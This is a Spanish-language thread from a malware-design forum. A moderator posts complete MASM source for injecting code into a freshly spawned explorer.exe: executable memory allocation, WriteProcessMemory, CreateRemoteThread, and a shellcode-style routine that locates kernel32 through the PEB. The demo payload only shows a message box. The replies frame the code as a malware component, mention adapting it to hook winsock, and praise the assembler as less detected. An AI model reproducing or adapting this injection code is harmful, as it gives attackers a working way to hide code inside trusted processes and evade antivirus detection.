elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
24 Mayo 2012, 18:51  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  [SRC][MASM] Inyección Código en Memoria
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SRC][MASM] Inyección Código en Memoria  (Leído 2,411 veces)
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.059


CALL DWORD PTR DS:[0]


Ver Perfil WWW
[SRC][MASM] Inyección Código en Memoria
« en: 5 Abril 2010, 14:35 »

Bueno, ya había posteado un código similar en la sección ASM para Fasm, pongo aquí éste para Masm que es casi lo mismo, pero me sirvió para acostumbrarme a éste ensamblador  :P.

main.asm
Código
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib kernel32.lib
includelib user32.lib
 
.data
szProcess db 'explorer.exe',0
szKernel db 'KERNEL32',0
szGetProcAddress db 'GetProcAddress',0
 
.data?
hProcess dd ?
lpInjected dd ?
lenInjected dd ?
pInfo PROCESS_INFORMATION <>
sInfo STARTUPINFO <>
 
  Injected PROTO:DWORD
.code
   start:
 
;Creamos el Proceso
invoke CreateProcess,0,addr szProcess,0,0,0,CREATE_SUSPENDED,0,0,addr sInfo,addr pInfo
push pInfo.hProcess
pop hProcess
 
;Obtenemos el tamaño de Injected
mov ebx,EndInjected
sub ebx,Injected
mov lenInjected,ebx
 
;Reservamos espacio en memoria para la función a Injected
invoke VirtualAllocEx,hProcess,0,lenInjected,MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov lpInjected,eax
 
;Escribimos en memoria los datos
invoke WriteProcessMemory,hProcess,lpInjected,Injected,lenInjected,0
 
invoke GetModuleHandle,addr szKernel
invoke GetProcAddress,eax,addr szGetProcAddress
 
;Creamos el hilo en el proceso
invoke CreateRemoteThread,hProcess,0,0,lpInjected,eax,0,0
 
   invoke ExitProcess,0
 
   include injected.asm
end start
 

Injected.asm
Código
Injected PROC lpGetProcAddress:DWORD
LOCAL Stack[20h]:dword
ASSUME fs:NOTHING
 
push ebp
xor eax,eax
mov esi,fs:[eax+30h]
mov esi,[esi+0Ch]
mov esi,[esi+1Ch]
next_module:
mov ebp,[esi+08h]
mov edi,[esi+20h]
mov esi,[esi]
cmp [edi+12*2],al
jne next_module
cmp byte ptr[edi],6Bh
je find_kernel32_finished
cmp byte ptr[edi],4Bh
je find_kernel32_finished
jmp next_module
find_kernel32_finished:
mov ecx,ebp
pop ebp
mov eax,lpGetProcAddress
mov Stack,eax
mov Stack+4,ecx
 
call loc_1
_szLoadLibraryA db "LoadLibraryA",0
loc_1:
pop ecx
invoke (type GetProcAddress)ptr Stack,Stack+4,ecx
mov Stack+8,eax
 
call loc_2
_szUser32 db "USER32.DLL",0
loc_2:
pop ecx
invoke (type LoadLibrary)ptr Stack+8,ecx
mov Stack+12,eax
 
call loc_3
_szMessageBox db "MessageBoxA",0
loc_3:
pop ecx
invoke (type GetProcAddress)ptr Stack,Stack+12,ecx
mov Stack+16,eax
 
call loc_4
_szTitle db "xD",0
loc_4:
pop ecx
 
call loc_5
_szMSg db "Injected",0
loc_5:
pop ebx
 
invoke (type MessageBox)ptr Stack+16,0,ebx,ecx,0
ret
Injected endp
EndInjected:
 

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][MASM] Inyección Código en Memoria
« Respuesta #1 en: 5 Abril 2010, 14:44 »

Pero que te ha pasado, pensaba que molabas :-( ahora te has pasado a MASM? :-( :-( :-(
En línea

[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.059


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][MASM] Inyección Código en Memoria
« Respuesta #2 en: 5 Abril 2010, 14:45 »

Pero que te ha pasado, pensaba que molabas :-( ahora te has pasado a MASM? :-( :-( :-(

Tiene ventajas  ;D.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][MASM] Inyección Código en Memoria
« Respuesta #3 en: 5 Abril 2010, 17:01 »

Pero que te ha pasado, pensaba que molabas :-( ahora te has pasado a MASM? :-( :-( :-(

Tiene ventajas  ;D.

Saludos
Si quieres otro que no sea FASM al menos que sea NASM... pero MASM??? :-( :-(

NASM mucho mejor para malware >:D Aun asi me quedo con FASM :P
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: [SRC][MASM] Inyección Código en Memoria
« Respuesta #4 en: 5 Abril 2010, 17:26 »

   ;-)  ;-)

  Jaja Men me leyo la mente justo ahora que estaba haciendo lo que me han asaignado para athena necesitaba inyectar code sin dll esto me sirve un mundo se ve muy facil asi a ver como lo paso a C   :-[ thanks

  Oye Injected.asm puede ser un thread en c++ donde tendria los hook que me interesa que seria a winsock y WM_CHANGEDEVICE ? y podria meter parte de main de forma inline en mi code  ?  :laugh:
« Última modificación: 5 Abril 2010, 17:37 por Jaixxon Jax » En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.059


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][MASM] Inyección Código en Memoria
« Respuesta #5 en: 5 Abril 2010, 17:40 »

Va a estar difícil que eso funcione Jaixxon  :-\. Para inyectar sin dll casi te diría que es imprescindible ASM, aunque se puede hacer sin ella,  las cosas son infinitamente más fáciles sabiéndolo. De todas formas, E0N publicó un paper "Creando un Rootkit desde cero", en el que hookeaba sin dll  ;).

Saludos

Edito: Karcrack, no había visto tu post  :-[.

Si quieres otro que no sea FASM al menos que sea NASM... pero MASM??? :-( :-(
NASM mucho mejor para malware >:D Aun asi me quedo con FASM :P

No probé Nasm, pero me gustó Masm. Tiene más includes, más macros, más documentación, más IDE's, DDK,  y es menos detectado  :).

Saludos
« Última modificación: 5 Abril 2010, 22:35 por Hacker_Zero » En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
RAID-MAM

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [SRC][MASM] Inyección Código en Memoria
« Respuesta #6 en: 7 Abril 2010, 00:05 »

Se nos fue para el lado malo =/


MASM =! Ventajas :P
En línea
[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.507


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: [SRC][MASM] Inyección Código en Memoria
« Respuesta #7 en: 7 Abril 2010, 02:36 »

:xD FASM Rlzz!!!
En línea

[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.059


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][MASM] Inyección Código en Memoria
« Respuesta #8 en: 7 Abril 2010, 15:29 »

Nah, en el fondo sabéis que tengo razón  :xD.
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Codigo de asignacion de memoria: Peor Ajuste
Programación C/C++
dato000 5 2,173 Último mensaje 15 Marzo 2011, 14:55
por Akai
Inyección de Codigo para API Hook
Programación C/C++
Keyen Night 5 1,034 Último mensaje 16 Abril 2011, 23:03
por Karman
Ensamblar con MASM codigo DOS
ASM
RHL 3 813 Último mensaje 30 Noviembre 2011, 23:07
por Eternal Idol
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines